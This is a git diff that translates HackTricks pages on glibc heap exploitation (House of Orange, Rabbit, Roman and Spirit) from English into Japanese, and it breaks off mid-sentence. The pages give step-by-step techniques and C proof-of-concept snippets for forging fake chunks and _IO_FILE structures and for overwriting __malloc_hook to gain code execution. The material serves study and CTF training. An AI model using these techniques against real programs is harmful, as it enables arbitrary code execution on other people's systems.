[https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) での**コメントが多い同じ例** -### Goal +### 目標 -- Abuse `malloc_printerr` function +- `malloc_printerr` 関数を悪用する -### Requirements +### 要件 -- Overwrite the top chunk size -- Libc and heap leaks +- トップチャンクサイズを上書きする +- Libc とヒープのリーク -### Background +### 背景 -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +[**この例**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**からの必要な背景:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +古いバージョンの libc では、`malloc_printerr` 関数が呼び出されると、**`_IO_list_all` に格納された `_IO_FILE` 構造体のリストを反復処理**し、実際にその構造体内の命令ポインタを**実行**していました。\ +この攻撃では、**偽の `_IO_FILE` 構造体**を作成し、**`_IO_list_all`** に書き込み、`malloc_printerr` を実行させます。\ +その後、**`_IO_FILE`** 構造体のジャンプテーブルに格納された**任意のアドレス**を実行し、コード実行を得ることができます。 -### Attack +### 攻撃 -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +攻撃は、**未ソートビン**内の**トップチャンク**を取得することから始まります。これは、現在のトップチャンクサイズより大きいが、**`mmp_.mmap_threshold`**(デフォルトは128K)より小さいサイズで `malloc` を呼び出すことで達成されます。そうしないと、`mmap` アロケーションがトリガーされます。トップチャンクサイズが変更されるときは、**トップチャンク + サイズ**がページアラインされていること、そしてトップチャンクの**prev_inuse**ビットが常に設定されていることを確認することが重要です。 -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +未ソートビン内のトップチャンクを取得するには、トップチャンクを作成するためにチャンクを割り当て、トップチャンクサイズを変更(割り当てられたチャンク内のオーバーフローを使用)して、**トップチャンク + サイズ**がページアラインされ、**prev_inuse**ビットが設定されていることを確認します。その後、新しいトップチャンクサイズより大きいチャンクを割り当てます。`free` は未ソートビンにトップチャンクを取得するために決して呼び出されないことに注意してください。 -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +古いトップチャンクは現在未ソートビンにあります。内部のデータを読み取ることができると仮定すると(おそらくオーバーフローを引き起こした脆弱性のため)、そこから libc アドレスをリークし、**\_IO_list_all** のアドレスを取得することが可能です。 -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +未ソートビン攻撃は、オーバーフローを悪用して `topChunk->bk->fwd = _IO_list_all - 0x10` と書き込むことで実行されます。新しいチャンクが割り当てられると、古いトップチャンクが分割され、未ソートビンへのポインタが**`_IO_list_all`** に書き込まれます。 -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +次のステップは、古いトップチャンクのサイズを小さなビンに収まるように縮小し、特にそのサイズを**0x61**に設定することです。これには二つの目的があります: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **小さなビン4への挿入**: `malloc` が未ソートビンをスキャンし、このチャンクを見つけると、その小さなサイズのために小さなビン4に挿入しようとします。これにより、チャンクが**`_IO_list_all`**のFDポインタの位置である小さなビン4リストの先頭に配置されます。 +2. **Malloc チェックのトリガー**: このチャンクサイズの操作により、`malloc` が内部チェックを実行します。偽のフォワードチャンクのサイズがゼロであるとき、エラーがトリガーされ、`malloc_printerr` が呼び出されます。 -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +小さなビンの操作により、チャンクのフォワードポインタを制御できるようになります。**\_IO_list_all**とのオーバーラップを使用して、偽の**\_IO_FILE**構造体を作成します。この構造体は、`_IO_write_base` や `_IO_write_ptr` などの重要なフィールドを含むように慎重に作成され、libc の内部チェックを通過する値に設定されます。さらに、偽の構造体内にジャンプテーブルが作成され、命令ポインタが任意のコード(例:`system` 関数)を実行できるアドレスに設定されます。 -To summarize the remaining part of the technique: +技術の残りの部分を要約すると: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **古いトップチャンクを縮小**: 古いトップチャンクのサイズを**0x61**に調整して小さなビンに収めます。 +- **偽の `_IO_FILE` 構造体を設定**: 古いトップチャンクと偽の**\_IO_FILE**構造体をオーバーラップさせ、フィールドを適切に設定して実行フローをハイジャックします。 -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +次のステップは、未ソートビンに現在ある古いトップチャンクとオーバーラップする偽の**\_IO_FILE**構造体を作成することです。この構造体の最初のバイトは、実行されるコマンド(例:"/bin/sh")へのポインタを含むように慎重に作成されます。 -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +偽の**\_IO_FILE**構造体の重要なフィールド、例えば `_IO_write_base` や `_IO_write_ptr` は、libc の内部チェックを通過する値に設定されます。さらに、偽の構造体内にジャンプテーブルが作成され、命令ポインタが任意のコードを実行できるアドレスに設定されます。通常、これは `system` 関数のアドレスやシェルコマンドを実行できる他の関数のアドレスになります。 -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +攻撃は、`malloc` の呼び出しが操作された**\_IO_FILE**構造体を通じてコードの実行をトリガーすることで culminates します。これにより、任意のコード実行が可能になり、通常はシェルが生成されるか、他の悪意のあるペイロードが実行されます。 -**Summary of the Attack:** +**攻撃の要約:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **トップチャンクを設定**: チャンクを割り当て、トップチャンクサイズを変更します。 +2. **トップチャンクを未ソートビンに強制的に入れる**: より大きなチャンクを割り当てます。 +3. **libc アドレスをリーク**: 脆弱性を利用して未ソートビンから読み取ります。 +4. **未ソートビン攻撃を実行**: オーバーフローを使用して**\_IO_list_all**に書き込みます。 +5. **古いトップチャンクを縮小**: 小さなビンに収まるようにサイズを調整します。 +6. **偽の \_IO_FILE 構造体を設定**: 制御フローをハイジャックするために偽のファイル構造体を作成します。 +7. **コード実行をトリガー**: チャンクを割り当てて攻撃を実行し、任意のコードを実行します。 -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +このアプローチは、ヒープ管理メカニズム、libc 情報リーク、およびヒープオーバーフローを利用して、`free` を直接呼び出すことなくコード実行を達成します。偽の**\_IO_FILE**構造体を慎重に作成し、適切な位置に配置することで、攻撃は標準のメモリアロケーション操作中に制御フローをハイジャックできます。これにより、任意のコードの実行が可能になり、シェルや他の悪意のある活動が発生する可能性があります。 -## References +## 参考文献 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..4ba6e5aee 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -2,110 +2,92 @@ {{#include ../../banners/hacktricks-training.md}} -### Requirements +### 要件 -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **ファストビンのfdポインタまたはサイズを変更する能力**: これは、ファストビン内のチャンクの前方ポインタまたはそのサイズを変更できることを意味します。 +2. **`malloc_consolidate`をトリガーする能力**: これは、大きなチャンクを割り当てるか、トップチャンクをマージすることで行うことができ、ヒープがチャンクを統合することを強制します。 -### Goals +### 目標 -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **オーバーラップするチャンクを作成する**: 1つのチャンクが別のチャンクとオーバーラップするようにし、さらなるヒープ操作を可能にします。 +2. **偽のチャンクを作成する**: ヒープ操作中にアロケータを騙して、偽のチャンクを正当なチャンクとして扱わせることです。 -## Steps of the attack +## 攻撃の手順 -### POC 1: Modify the size of a fast bin chunk +### POC 1: ファストビンチャンクのサイズを変更する -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**目的**: ファストビンチャンクのサイズを操作してオーバーラップするチャンクを作成します。 +- **ステップ 1: チャンクを割り当てる** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +0x40バイトのチャンクを2つ割り当てます。これらのチャンクは解放されるとファストビンリストに配置されます。 -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **ステップ2: チャンクを解放する** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +両方のチャンクを解放し、fastbinリストに追加します。 -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **ステップ 3: チャンクサイズの変更** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +`chunk1`のサイズメタデータを0xa1に変更します。これは、統合中にアロケータを欺くための重要なステップです。 -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **ステップ4: `malloc_consolidate`をトリガーする** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +大きなチャンクを割り当てると、`malloc_consolidate`関数がトリガーされ、ファストビン内の小さなチャンクがマージされます。操作された`chunk1`のサイズにより、`chunk1`が`chunk2`と重なります。 -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +統合後、`chunk1`は`chunk2`と重なり、さらなる悪用が可能になります。 -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: `fd`ポインタを変更する -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**目的**: ファストビンの`fd`ポインタを操作してフェイクチャンクを作成する。 +- **ステップ 1: チャンクを割り当てる** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**説明**: 小さいチャンクと大きいチャンクの2つを割り当てて、フェイクチャンクのためにヒープを設定します。 -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **ステップ 2: フェイクチャンクを作成** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +`chunk2`に偽のチャンクメタデータを書き込んで、より小さなチャンクをシミュレートします。 -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **ステップ 3: `chunk1`を解放する** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**説明**: `chunk1`を解放し、fastbinリストに追加します。 -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **ステップ4: `chunk1`の`fd`を変更する** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**説明**: `chunk1`の前方ポインタ(`fd`)を変更して、`chunk2`内の偽のチャンクを指すようにします。 -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **ステップ5: `malloc_consolidate`をトリガーする** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +大きなチャンクを再度割り当てると、`malloc_consolidate`がトリガーされ、偽のチャンクが処理されます。 -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +偽のチャンクはfastbinリストの一部となり、さらなる悪用のための正当なチャンクとなります。 -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### 概要 -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +**House of Rabbit**技術は、fast binチャンクのサイズを変更して重複するチャンクを作成するか、`fd`ポインタを操作して偽のチャンクを作成することを含みます。これにより、攻撃者はヒープ内で正当なチャンクを偽造し、さまざまな形の悪用を可能にします。これらのステップを理解し、実践することで、ヒープの悪用スキルが向上します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..eb5bb0289 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -2,87 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +これは、フェイクファストビン、unsorted_bin攻撃、相対的な上書きを介して、リークなしでRCEを可能にする非常に興味深い技術でした。しかし、これは[**パッチが当てられました**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。 -### Code +### コード -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)に例があります。 -### Goal +### 目標 -- RCE by abusing relative pointers +- 相対ポインタを悪用してRCEを実現すること -### Requirements +### 要件 -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- fastbinとunsorted binポインタを編集する +- 12ビットのランダム性をブルートフォースする必要があります(成功する確率は0.02%) -## Attack Steps +## 攻撃手順 -### Part 1: Fastbin Chunk points to \_\_malloc_hook +### パート1: Fastbinチャンクが\_\_malloc_hookを指す -Create several chunks: +いくつかのチャンクを作成します: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment -- `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `fastbin_victim` (0x60, オフセット 0): 後でヒープポインタをLibC値を指すように編集するUAFチャンク。 +- `chunk2` (0x80, オフセット 0x70): 良好なアライメントのため。 +- `main_arena_use` (0x80, オフセット 0x100) +- `relative_offset_heap` (0x60, オフセット 0x190): 'main_arena_use'チャンクの相対オフセット -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +次に、`free(main_arena_use)`を実行すると、このチャンクがunsortedリストに配置され、`fd`と`bk`ポインタの両方に`main_arena + 0x68`へのポインタが得られます。 -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +今、新しいチャンク`fake_libc_chunk(0x60)`が割り当てられます。これは、`fd`と`bk`に`main_arena + 0x68`へのポインタを含むためです。 +その後、`relative_offset_heap`と`fastbin_victim`が解放されます。 ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` は `relative_offset_heap` を指す `fd` を持っています +- `relative_offset_heap` は `fake_libc_chunk` からの距離のオフセットで、`main_arena + 0x68` へのポインタを含んでいます +- `fastbin_victim.fd` の最後のバイトを変更することで、`fastbin_victim` が `main_arena + 0x68` を指すようにすることが可能です -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +前述のアクションのために、攻撃者は `fastbin_victim` の fd ポインタを変更できる必要があります。 -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +次に、`main_arena + 0x68` はそれほど興味深くないので、ポインタを **`__malloc_hook`** を指すように変更します。 -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +`__memalign_hook` は通常 `0x7f` で始まり、その前にゼロが続くため、`0x70` のファストビン内の値として偽装することが可能です。アドレスの最後の 4 ビットは **ランダム** であるため、興味のある場所を指す値の可能性は `2^4=16` です。したがって、ここで BF 攻撃が行われ、チャンクは次のようになります: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**。 -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(残りのバイトについての詳細は、[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)の説明を確認してください)。BF が機能しない場合、プログラムは単にクラッシュします(動作するまで再試行してください)。 +次に、2 つの malloc が実行され、最初の 2 つのファストビンチャンクが削除され、3 つ目がアロケートされて **`__malloc_hook:`** にチャンクを取得します。 ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Part 2: Unsorted_bin 攻撃 -### Part 2: Unsorted_bin attack - -For more info you can check: +詳細については、次を確認できます: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +基本的には、`chunk->bk`で指定された任意の場所に`main_arena + 0x68`を書き込むことを可能にします。そして、攻撃のために`__malloc_hook`を選択します。その後、上書きした後に相対的な上書きを使用して`one_gadget`を指すようにします。 +これを行うために、チャンクを取得し、**unsorted bin**に入れ始めます: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +このチャンクでUAFを使用して`unsorted_bin_ptr->bk`を`__malloc_hook`のアドレスにポイントします(これは以前にブルートフォースしました)。 > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> この攻撃は未整理ビンを破損させるため(したがって小と大も)、**今はファストビンからの割り当てのみを使用できます**(より複雑なプログラムは他の割り当てを行い、クラッシュする可能性があります)、これをトリガーするためには**同じサイズを割り当てる必要があります。さもなければプログラムはクラッシュします。** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +したがって、`__malloc_hook`に`main_arena + 0x68`の書き込みをトリガーするために、`unsorted_bin_ptr->bk`に`__malloc_hook`を設定した後、**`malloc(0x80)`**を実行する必要があります。 -### Step 3: Set \_\_malloc_hook to system +### ステップ3: \_\_malloc_hookをsystemに設定 -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +ステップ1では、`__malloc_hook`を含むチャンクを制御することに成功しました(変数`malloc_hook_chunk`内)。ステップ2では、ここに`main_arena + 0x68`を書き込むことができました。 -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +今、`malloc_hook_chunk`内の部分的な上書きを悪用して、そこに書き込んだlibcアドレス(`main_arena + 0x68`)を**`one_gadget`アドレスにポイントさせます**。 -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +ここで**12ビットのランダム性をブルートフォースする必要があります**(詳細は[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[の例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)を参照)。 -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +最後に、正しいアドレスが上書きされたら、**`malloc`を呼び出して`one_gadget`をトリガーします**。 -## References +## 参考文献 - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..e71997805 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Code +### コード
House of Spirit - ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### 目標 -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- tcache / fast bin にアドレスを追加できるようにし、後でそれを割り当てることができるようにする -### Requirements +### 要件 -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- この攻撃には、攻撃者がサイズ値を正しく示すいくつかの偽のファストチャンクを作成できる必要があり、最初の偽のチャンクを解放してそれがビンに入るようにする必要があります。 -### Attack +### 攻撃 -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address +- セキュリティチェックを回避する偽のチャンクを作成する:基本的に正しい位置に正しいサイズを示す2つの偽のチャンクが必要です +- 何らかの方法で最初の偽のチャンクを解放して、それがファストまたはtcacheビンに入るようにし、その後そのアドレスを上書きするために割り当てます **The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: - ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's 